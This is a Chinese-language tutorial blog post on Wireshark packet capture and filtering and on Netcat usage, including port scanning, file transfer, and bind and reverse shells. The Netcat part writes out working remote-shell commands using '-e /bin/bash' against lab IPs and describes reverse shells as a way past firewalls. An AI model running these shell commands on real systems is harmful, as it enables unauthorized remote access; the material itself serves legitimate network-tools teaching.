Wireshark、Netcat

Wireshark

Wireshark是一个网络数据包分析软件,功能是截取网络数据包,并尽可能显示出最为详细的网络数据包数据。为了安全考虑,wireshark只能查看封包,而不能修改封包的内容,或者发送封包。

界面

1249675-20180314112308515-1030629191.png

抓包获取

点击捕获->设置,设置混杂模式,选中需要监听的接口,点击“开始”,开始捕获数据:

1249675-20180314112306377-1275939507.png

过滤

  • 捕捉过滤器是数据经过的第一层过滤器,它用于控制捕捉数据的数量,以避免产生过大的日志文件。捕捉过滤器必须在开始捕捉前设置完毕
  • 显示过滤器是一种更为强大(复杂)的过滤器。可以在日志文件中迅速准确地找到所需要的记录,、但是不会把数据删除。如果想恢复原状,只要把过滤条件删除即可

二者语法异同点详见:wireshark的显示过滤器和捕捉过滤器

点击捕获->捕获过滤器,进行捕获设置(可以自己添加删除)。常用过滤包括IP过滤(如:ip.addr == x.x.x.x,ip.src == x.x.x.x,ip.dst == x.x.x.x)、协议过滤(如:HTTP、HTTPS、SMTP、ARP等)、端口过滤(如:tcp.port == 21、udp.port == 53)、组合过滤(如:ip.addr == x.x.x.x && tcp.port == 21、tcp.port== 21 or udp.port==53)。

1249675-20180314112310798-1685729348.png

显示过滤器在如下所示位置:

1249675-20180317195623537-580667347.png

着色规则

在数据包列表区域会看到不同的颜色。wireshark可以让你指定条件,把符合条件的数据包按指定的颜色显示。
点击视图->着色规则,弹出设置颜色规则设置对话框:

1249675-20180317195721154-1588028730.png

封包详细信息

1249675-20180317200135719-1771388139.png

各行信息分别为

  • Frame:物理层的数据帧概况
  • Ethernet II:数据链路层以太网帧头部信息
  • Internet Protocol Version 4:互联网层IP包头部信息
  • Transmission Control Protocol:传输层T的数据段头部信息
  • Hypertext Transfer Protocol:应用层的信息

ip统计

点击统计->对话,就可以统计出所在数据包中所有通信IP地址,包括IPV4和IPV6。
1249675-20180314112314758-968769859.png

协议统计

点击统计->协议分级,就可以统计出所在数据包中所含的IP协议、应用层协议:
1249675-20180314112316366-1205491605.png

Follow TCP Stream

对于TCP协议,可提取一次会话的TCP流进行分析。点击某帧TCP数据,右键选择追踪流->TCP流:

1249675-20180314112318040-417777655.png

1249675-20180314112319990-1928663622.png

可以看到这个窗口中的文字会有两种颜色。其中红色用于表示从源地址到目标地址的流量。最开始的红色部分是一个GET请求。蓝色部分是和红色部分相反的方向,也就是从目标地址到源地址的流量。蓝色部分的第一行是“HTTP/1.1 200 OK”,是来自服务器的一个http成功响应。

在这个窗口中除了能够看到这些原始数据,还可以在文本间进行搜索,将其保存成一个文件、打印,或者以ASCII码、EBCDIC、十六进制或者C数组的格式去查看。

HTTP头部分析

对于HTTP协议,WireShark可以提取其URL地址信息。

点击统计->HTTP->分组计数器,就可以统计出HTTP会话中请求、应答包数量:

1249675-20180314112321729-1609654514.png

点击统计->HTTP->请求,就可以统计出HTTP会话中Request的域名,包括子域名:

1249675-20180314112325467-1609499573.png

点击统计->HTTP->负载分配,就可以统计出HTTP会话的IP、域名分布情况,包括返回值:

1249675-20180314112323407-485126621.png

这只是Wireshark最基础的功能,用WireShark分析攻击行为才是重中之重,后期将进行深入学习,详见WireShark教程 - 黑客发现之旅

Netcat

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。netcat所做的就是在两台电脑之间建立链接并返回两个数据流。

端口扫描

打印21到25所有开放的端口:

1249675-20180317225418329-38088292.png

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
-z: 告诉netcat使用0 IO,连接成功后立即关闭连接,不进行数据交换
-v: 详细输出
-n: 不使用DNS解析

小Tips:一般如果后面是跟ip的话,就带上-n参数;跟着是域名的话,就不带-n参数。

一旦发现开放的端口,可以使用netcat 连接服务抓取他们的banner:

1249675-20180317225522741-1344506938.png

banner是一个文本,banner是一个连接的服务发送回来的文本信息。当试图鉴别漏洞或者服务的类型和版本的时候,banner信息是非常有用的。但并不是所有的服务都会发送 banner。

聊天服务

服务器:

nc -l -p 20000  

-l:指明netcat处于监听模式,   
-p:指定源端口号

客户机:

nc -n 10.43.42.5 20000  

1249675-20180317223105227-1524506309.png

1249675-20180317223103706-1912755146.png

netcat在服务器的20000端口启动了一个tcp服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

文件传输

FTP,SCP,SMB都可以传输文件,但是只是需要临时或者一次传输文件,不值得安装配置一个软件到机器上。现有机器A 192.168.199.139,机器B 192.168.199.161,A向B传输文件:

服务器(A):

$nc -l -p 20000 < 1.txt

客户机(B):

$nc -n 192.168.199.139 > 1.txt

1249675-20180318094123772-244795177.png

1249675-20180318094122186-592613846.png

在A上创建了一个服务器并且重定向netcat的输入为文件1.txt,当任何成功连接到该端口,netcat会发送1.txt的文件内容。

同样也可以让A作为客户端,B作为服务器。

Server B:

nc -l -p 20000 > 1.txt  

Client A:

nc -n 192.168.199.161 20000 < 1.txt  

目录传输

如果想要发送多个文件或者整个目录,只需要使用压缩工具tar,压缩后发送压缩包。

服务器:

tar -cvf - ./test/ | nc -l -p 20000    创建一个tar归档包并且通过-在控制台重定向它

客户机:

nc -n 192.168.199.139 20000 | tar -xvf -

1249675-20180318102924717-1610253628.png

1249675-20180318102923126-641881786.png

正向shell

现要在A机器上打开B机器的shell,应把A当成Client,把B当成Server,在B上监听输入的连接,等A连入后就可操作B的shell:

服务器:

nc -l -p 20000 -e /bin/bash 表示当连接成功时执行/bin/bash

客户机:

nc -n 192.168.199.161 20000 

1249675-20180318101133832-1573206771.png

1249675-20180318101135068-1058674791.png

反向shell

使用正向shell时,如果防火墙屏蔽了输入,只允许输出,那么这时候就是反向shell发挥作用的时候了。

反向shell的做法是把A当成netcat的Server,把B当成netcat的Client,然后在A上用-l参数监听netcat的链接。

服务器:

nc -l -p 20000  

客户机:

nc -n 192.168.199.139 20000 -e /bin/bash  

然后在A上执行shell命令,就可以相当于B的远程shell了:

1249675-20180318095645013-256770039.png

1249675-20180318095643361-560279037.png

反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如有一个专用IP地址为192.168.199.139,使用代理服务器连接到外部网络。如果想从网络外部访问这台机器shell,那么就会用反向外壳用于这一目的。

更多详见:Linux Netcat 命令——网络工具中的瑞士军刀

转载于:https://www.cnblogs.com/Jspo/p/8594588.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值